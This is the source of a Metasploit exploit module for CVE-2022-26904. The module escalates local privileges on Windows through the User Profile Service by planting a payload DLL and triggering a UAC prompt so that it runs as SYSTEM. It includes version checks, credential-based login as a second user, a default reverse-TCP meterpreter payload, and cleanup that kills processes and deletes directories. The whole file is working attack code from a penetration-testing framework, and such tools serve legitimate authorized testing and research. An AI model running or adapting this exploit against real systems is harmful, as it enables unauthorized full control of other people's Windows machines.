Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/local/cve_2022_26904_superprofile.rb
Views: 11655
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Post::File9include Msf::Exploit::FileDropper10include Msf::Post::Windows::FileInfo11include Msf::Post::Windows::Priv12include Msf::Post::Windows::Version13include Msf::Post::Windows::Process14include Msf::Post::Windows::ReflectiveDLLInjection15include Msf::Exploit::EXE # Needed for generate_payload_dll16prepend Msf::Exploit::Remote::AutoCheck1718def initialize(info = {})19super(20update_info(21info,22{23'Name' => 'User Profile Arbitrary Junction Creation Local Privilege Elevation',24'Description' => %q{25The user profile service, identified as ProfSrv, is vulnerable to a local privilege elevation vulnerability26in its CreateDirectoryJunction() function due to a lack of appropriate checks on the directory structure of27the junctions it tries to link together.2829Attackers can leverage this vulnerability to plant a malicious DLL in a system directory and then trigger a30UAC prompt to cause this DLL to be loaded and executed by ProfSrv as the NT AUTHORITY\SYSTEM user.3132Note that this bug was originally identified as CVE-2021-34484 and was subsequently patched a second time as33CVE-2022-21919, however both patches were found to be insufficient. This bug is a patch bypass for34CVE-2022-21919 and at the time of publishing, has not yet been patched, though plans are in place to patch it35as CVE-2022-26904.3637It is important to note that the credentials supplied for the second user to log in as in this exploit must be38those of a normal non-admin user and these credentials must also corralate with a user who has already logged in39at least once before. Additionally the current user running the exploit must have UAC set to the highest level,40aka "Always Notify Me When", in order for the code to be executed as NT AUTHORITY\SYSTEM. Note however that41"Always Notify Me When" is the default UAC setting on common Windows installs, so this would only affect instances42where this setting has been changed either manually or as part of the installation process.43},44'License' => MSF_LICENSE,45'Author' => [46'KLINIX5', # Aka Abdelhamid Naceri. Original PoC w Patch Bypass47'Grant Willcox' # Metasploit module + Tweaks to PoC48],49'Arch' => [ ARCH_X64 ],50'Platform' => 'win',51'SessionTypes' => [ 'meterpreter' ],52'Targets' => [53[ 'Windows 11', { 'Arch' => ARCH_X64 } ]54],55'References' => [56['CVE', '2022-26904'],57['URL', 'https://github.com/rmusser01/SuperProfile'], # Original link was at https://github.com/klinix5/SuperProfile/ but was taken down. This is a backup.58['URL', 'https://web.archive.org/web/20220222105232/https://halove23.blogspot.com/2022/02/blog-post.html'], # Original blog post59['URL', 'https://github.com/klinix5/ProfSvcLPE/blob/main/write-up.docx'] # Discussion of previous iterations of this bug providing insight into patched functionality.60],61'DisclosureDate' => '2022-03-17', # Date MSRC supplied CVE number, bug is not patched atm.62'DefaultTarget' => 0,63'Notes' => {64'Stability' => [ CRASH_SAFE, ],65'Reliability' => [ REPEATABLE_SESSION ], # Will need to double check this as this may require some updates to the code to get it to the point where it can be used repetitively.66'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, SCREEN_EFFECTS, AUDIO_EFFECTS ]67},68'DefaultOptions' => {69'EXITFUNC' => 'thread',70'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',71'WfsDelay' => 30072},73'AKA' => [ 'SuperProfile' ]74}75)76)7778register_options([79OptString.new('LOGINUSER', [true, 'Username of the secondary normal privileged user to log in as. Cannot be the same as the current user!']),80OptString.new('LOGINDOMAIN', [true, 'Domain that the LOGINUSER belongs to. Ensures we log into the right domain.', '.']),81OptString.new('LOGINPASSWORD', [true, 'Password for the secondary normal privileged user to log in as'])82])83end8485def check86sysinfo_value = sysinfo['OS']8788if sysinfo_value !~ /windows/i89# Non-Windows systems are definitely not affected.90return CheckCode::Safe('Target is not a Windows system, so it is not affected by this vulnerability!')91end9293# see https://docs.microsoft.com/en-us/windows/release-information/94version = get_version_info95unless version.build_number.between?(Msf::WindowsVersion::Server2008_SP0, Msf::WindowsVersion::Win10_21H2) ||96version.build_number == Msf::WindowsVersion::Win11_21H2 ||97version.build_number == Msf::WindowsVersion::Server202298return CheckCode::Safe('Target is not running a vulnerable version of Windows!')99end100101print_status('Checking if PromptOnSecureDesktop mitigation applied...')102reg_key = 'HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System'103reg_val = 'PromptOnSecureDesktop'104begin105root_key, base_key = @session.sys.registry.splitkey(reg_key)106value = @session.sys.registry.query_value_direct(root_key, base_key, reg_val)107rescue Rex::Post::Meterpreter::RequestError => e108return CheckCode::Unknown("Was not able to retrieve the PromptOnSecureDesktop value. Error was #{e}")109end110111if value.data == 0112return CheckCode::Safe('PromptOnSecureDesktop is set to 0, mitigation applied!')113elsif value.data == 1114print_good('PromptOnSecureDesktop is set to 1, should be safe to proceed!')115else116return CheckCode::Unknown("PromptOnSecureDesktop was not set to a known value, are you sure the target system isn't corrupted?")117end118119# Build numbers taken from https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-26904, and associated120# security update information (e.g. https://support.microsoft.com/en-us/topic/windows-10-update-history-857b8ccb-71e4-49e5-b3f6-7073197d98fb,121# https://support.microsoft.com/en-us/topic/windows-11-version-21h2-update-history-a19cd327-b57f-44b9-84e0-26ced7109ba9)122if version.build_number == Msf::WindowsVersion::Win11_21H2 && version.revision_number.between?(0, 612)123return CheckCode::Appears('Vulnerable Windows 11 build detected!')124elsif version.build_number == Msf::WindowsVersion::Server2022 && version.revision_number.between?(0, 642)125return CheckCode::Appears('Vulnerable Windows Server 2022 build detected!')126elsif version.build_number == Msf::WindowsVersion::Win10_21H2 && version.revision_number.between?(0, 1644)127return CheckCode::Appears('Vulnerable Windows 10 21H2 build detected!')128elsif version.build_number == Msf::WindowsVersion::Win10_21H1 && version.revision_number.between?(0, 1644)129target_not_presently_supported130return CheckCode::Appears('Vulnerable Windows 10 21H1 build detected!')131elsif version.build_number == Msf::WindowsVersion::Win10_20H2 && version.revision_number.between?(0, 1644)132target_not_presently_supported133return CheckCode::Appears('Vulnerable Windows 10 20H2 build detected!')134elsif version.build_number == Msf::WindowsVersion::Win10_2004135target_not_presently_supported136return CheckCode::Appears('Vulnerable Windows 10 v2004 build detected!')137elsif version.build_number == Msf::WindowsVersion::Win10_1909 && version.revision_number.between?(0, 2211)138target_not_presently_supported139return CheckCode::Appears('Vulnerable Windows 10 v1909 build detected!')140elsif version.build_number == Msf::WindowsVersion::Win10_1903141target_not_presently_supported142return CheckCode::Appears('Vulnerable Windows 10 v1903 build detected!')143elsif version.build_number == Msf::WindowsVersion::Win10_1809 && version.revision_number.between?(0, 2802)144target_not_presently_supported145return CheckCode::Appears('Vulnerable Windows 10 v1809 build detected!')146elsif version.build_number == Msf::WindowsVersion::Win10_1803147target_not_presently_supported148return CheckCode::Appears('Vulnerable Windows 10 v1803 build detected!')149elsif version.build_number == Msf::WindowsVersion::Win10_1709150target_not_presently_supported151return CheckCode::Appears('Vulnerable Windows 10 v1709 build detected!')152elsif version.build_number == Msf::WindowsVersion::Win10_1703153target_not_presently_supported154return CheckCode::Appears('Vulnerable Windows 10 v1703 build detected!')155elsif version.build_number == Msf::WindowsVersion::Win10_1607 && version.revision_number.between?(0, 5065)156target_not_presently_supported157return CheckCode::Appears('Vulnerable Windows 10 v1607 build detected!')158elsif version.build_number == Msf::WindowsVersion::Win10_1511159target_not_presently_supported160return CheckCode::Appears('Vulnerable Windows 10 v1511 build detected!')161elsif version.build_number == Msf::WindowsVersion::Win10_1507162target_not_presently_supported163return CheckCode::Appears('Vulnerable Windows 10 v1507 build detected!')164elsif version.build_number == Msf::WindowsVersion::Win81 # Includes Server 2012 R2165target_not_presently_supported166return CheckCode::Detected('Windows 8.1/Windows Server 2012 R2 build detected!')167elsif version.build_number == Msf::WindowsVersion::Win8 # Includes Server 2012168target_not_presently_supported169return CheckCode::Detected('Windows 8/Windows Server 2012 build detected!')170elsif version.build_number.between?(Msf::WindowsVersion::Win7_SP0, Msf::WindowsVersion::Win7_SP1) # Includes Server 2008 R2171target_not_presently_supported172return CheckCode::Detected('Windows 7/Windows Server 2008 R2 build detected!')173elsif version.build_number.between?(Msf::WindowsVersion::Server2008_SP0, Msf::WindowsVersion::Server2008_SP2_Update) # Includes Server 2008174target_not_presently_supported175return CheckCode::Detected('Windows Server 2008/Windows Server 2008 SP2 build detected!')176else177return CheckCode::Safe('The build number of the target machine does not appear to be a vulnerable version!')178end179end180181def target_not_presently_supported182print_warning('This target is not presently supported by this exploit. Support may be added in the future!')183print_warning('Attempts to exploit this target with this module WILL NOT WORK!')184end185186def check_target_is_running_supported_windows_version187if !sysinfo['OS'].include?('Windows')188fail_with(Failure::NotVulnerable, 'Target is not running Windows!')189elsif get_version_info.build_number < Msf::WindowsVersion::Win10_InitialRelease190fail_with(Failure::NoTarget, 'Target is running Windows, but not a version this module supports! Bailing...')191end192end193194def exploit195# Step 1: Check target environment is correct.196print_status('Step #1: Checking target environment...')197if is_system?198fail_with(Failure::None, 'Session is already elevated')199end200check_target_is_running_supported_windows_version201202# Step 2: Generate the malicious DLL and upload it to a temp location.203payload_dll = generate_payload_dll204print_status("Payload DLL is #{payload_dll.length} bytes long")205temp_directory = session.sys.config.getenv('%TEMP%')206malicious_dll_location = "#{temp_directory}\\#{Rex::Text.rand_text_alpha(6..13)}.dll"207print_status("Writing malicious DLL to #{malicious_dll_location}")208write_file(malicious_dll_location, payload_dll)209210print_status('Marking DLL as full access for Everyone so that there are no access issues as the secondary user...')211cmd_exec("icacls #{malicious_dll_location} /grant Everyone:(F)")212register_file_for_cleanup(malicious_dll_location)213214# Register the directories we create for cleanup215register_dir_for_cleanup('C:\\Windows\\System32\\Narrator.exe.Local')216register_dir_for_cleanup('C:\\Users\\TEMP')217218# Step 3: Load the main DLL that will trigger the exploit and conduct the arbitrary file copy.219print_status('Step #3: Loading the exploit DLL to run the main exploit...')220library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2022-26904', 'CVE-2022-26904.dll')221library_path = ::File.expand_path(library_path)222223dll_info_parameter = datastore['LOGINUSER'].to_s + '||' + datastore['LOGINDOMAIN'].to_s + '||' + datastore['LOGINPASSWORD'].to_s + '||' + malicious_dll_location.to_s224225@session_obtained_bool = false226# invoke the exploit, passing in the address of the payload that227# we want invoked on successful exploitation, and the credentials for the second user.228execute_dll(library_path, dll_info_parameter)229230print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')231print_warning("Cleanup may not occur automatically if you aren't using a Meterpreter payload so make sure to run the following command upon session completion:")232print_warning('taskkill /IM "consent.exe" /F || taskkill /IM "narrator.exe" /F || taskkill /IM "narratorquickstart.exe" /F || taskkill /IM "msiexec.exe" || rmdir /q /s C:\Users\TEMP || rmdir /q /s C:\Windows\System32\Narrator.exe.local')233print_warning('You may need to run this more than once to ensure these files are properly deleted and Narrator.exe actually closes!')234235print_status('Sleeping for 60 seconds before trying to spawn UserAccountControlSettings.exe as a backup.')236print_status('If you get a shell back before this, feel free to CTRL+C once the shell has successfully returned.')237sleep(60)238if (@session_obtained_bool == false)239# Execute a command that requires elevation to cause the UAC prompt to appear. For some reason the DLL code itself240# triggering the UAC prompt won't work at times so this is the best way of solving this issue for cases where this happens.241begin242cmd_exec('UserAccountControlSettings.exe')243rescue Rex::TimeoutError244print_warning('Will need to get user to click on the flashing icon in the taskbar to open the UAC prompt and give us shells!')245end246end247end248249def on_new_session(new_session)250@session_obtained_bool = true251old_session = @session252@session = new_session253if new_session.type == 'meterpreter'254consent_pids = pidof('consent.exe')255for id in consent_pids256@session.sys.process.kill(id)257end258sleep(5) # Needed as otherwise later folder deletion calls sometimes fail, and additional Narrator.exe processes259# can sometimes spawn a few seconds after we close consent.exe so we want to grab all of them at once.260narrator_pids = pidof('Narrator.exe')261for id in narrator_pids262@session.sys.process.kill(id)263end264narrator_pids = pidof('NarratorQuickStart.exe')265for id in narrator_pids266@session.sys.process.kill(id)267end268narrator_pids = pidof('msiexec.exe')269for id in narrator_pids270@session.sys.process.kill(id)271end272else273# If it is another session type such as shell or PowerShell we will need to execute the command274# normally using cmd_exec() to cleanup, as it doesn't seem we have a built in option to kill processes275# by name or PIDs as library functions for these session types.276cmd_exec('taskkill /IM "consent.exe" /F')277sleep(5)278cmd_exec('taskkill /IM "narrator.exe" /F')279cmd_exec('taskkill /IM "narratorquickstart.exe" /F')280cmd_exec('taskkill /IM "msiexec.exe" /F')281end282283rm_rf('C:\\Windows\\System32\\Narrator.exe.local')284for _i in range(1..3)285rm_rf('C:\\Users\\TEMP') # Try deleting this 3 times just to be sure.286end287@session = old_session288super289end290end291292293